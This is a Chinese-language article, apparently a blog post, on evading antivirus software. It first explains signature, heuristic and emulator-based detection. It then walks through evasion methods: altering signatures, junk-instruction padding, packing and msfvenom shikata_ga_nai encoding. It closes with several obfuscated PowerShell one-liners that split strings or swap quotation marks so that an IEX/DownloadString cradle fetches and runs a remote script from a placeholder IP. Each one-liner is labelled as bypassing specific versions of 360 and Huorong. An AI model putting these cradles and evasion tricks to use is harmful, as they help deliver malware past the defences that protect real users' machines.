360、腾讯电脑管家、火绒剑、金山毒霸、瑞星等等,这几个杀毒软件领头羊,现在的杀毒软件都无法脱离三个部分,扫描器、病毒库、虚拟机。然而一个杀毒软件做的是否好用,最主要的还是扫描器的速度、准确率以及病毒库是否庞大。
这种技术很容易被人想到,所以第一代的杀毒软件出现了,他们的杀毒思想就是,我只要匹配到特征字符串就可以判断出来这个文件是一个病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。
为了对付病毒的不断变化和对未知病毒的研究,启发式扫描方式出现了。启发式扫描是通过分析指令出现的顺序,或特定组合情况等常见病毒的标准特征来判断文件是否感染未知病毒。
可以根据扫描特定的行为或多种行为的组合来判断一个程序是否是病毒。例如,制定一套打分机制,在系统目录下释放文件得20分,对分区进行格式化得100分,对启动项进行操作得50分等,只要评分达到某个预设值,即可判断为病毒文件。
查毒引擎中的虚拟机,并不是像 VMWare
的工作原理那样,为待查的可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。
设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。
既然杀毒软件在最开始时,使用了病毒特征码概念,那么我们可以通过修改病毒特征码的方式躲过杀软扫描。
第一种是更改特征码,例如:一个文件在某一个地址内有 “灰鸽子上线成功” 这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了。
第二种是根据校验和查杀技术提出的免杀思想,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
花指令免杀是指,在程序 shellcode
或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。
加壳,程序加壳可以很好的躲避匹配特征码查杀方式,加密壳基本上可以把特征码全部掩盖。这里说的壳指加密壳,一些普通压缩壳,并不能起到改变特征码的效果,例如: UPX
、 ASPack
等。
现在杀软会在检测到文件采用加密壳之后,直接提醒用户,该文件存在问题。可以使用不常见加密壳对程序进行加壳,来躲避杀软,该方法理论可用,只通过加壳实现免杀,成功几率很小,现在基于虚拟机技术,内存监测技术的发展,通过加壳方式进行免杀的思路越来越窄。
msfvenom
提供了多种格式的 payload
和 encoder
,生成的 shellcode
也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。
而 shikata_ga_nai
是 msf
中唯一的评价是 excellent
的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
目前 msfvenom
的 encoder
特征基本都进入了杀软的漏洞库。互联网上有很多借助于 C、C#、python
等语言对 shellcode
进行二次编码从而达到免杀的效果。
Windows PowerShell
是一个命令行管理程序,相比较于CMD
命令行,它更为强大,同时,它又是一种脚本语言,为系统管理设计。在.NET Framework
的基础上构建,简单来说,可以类比UNIX
系统的脚本(shell)。
2002年,微软研究了一个新的产品Monad
,在2005年发布第一个版本,到2006年被重命名为Windows PowerShell
,目前微软官网文档,已经更新到7.2版本,第一款默认集成PowerShell
的系统版本是Windows Server 2008
。
# 拆分DownloadString函数 + echo 过最新版火绒 + 360 12.X版本
cmd /c echo $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://XX.XX.XX.XX/test.ps1'')'.Replace('123','adString');IEX ($c1+$c2) | powershell -
# 拆分http关键字,过360 12.X版本
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"
#通过中文引号,绕过360 12.X版本
powershell "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://XX.XX.XX.XX/test.ps1'))"
2.5.4、替换IEX + http拆分
# 替换IEX + http拆分 绕过最新版火绒
powershell "$a='123((New-Object Net.WebClient).DownloadString(''ht'.Replace('123','IEX');$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"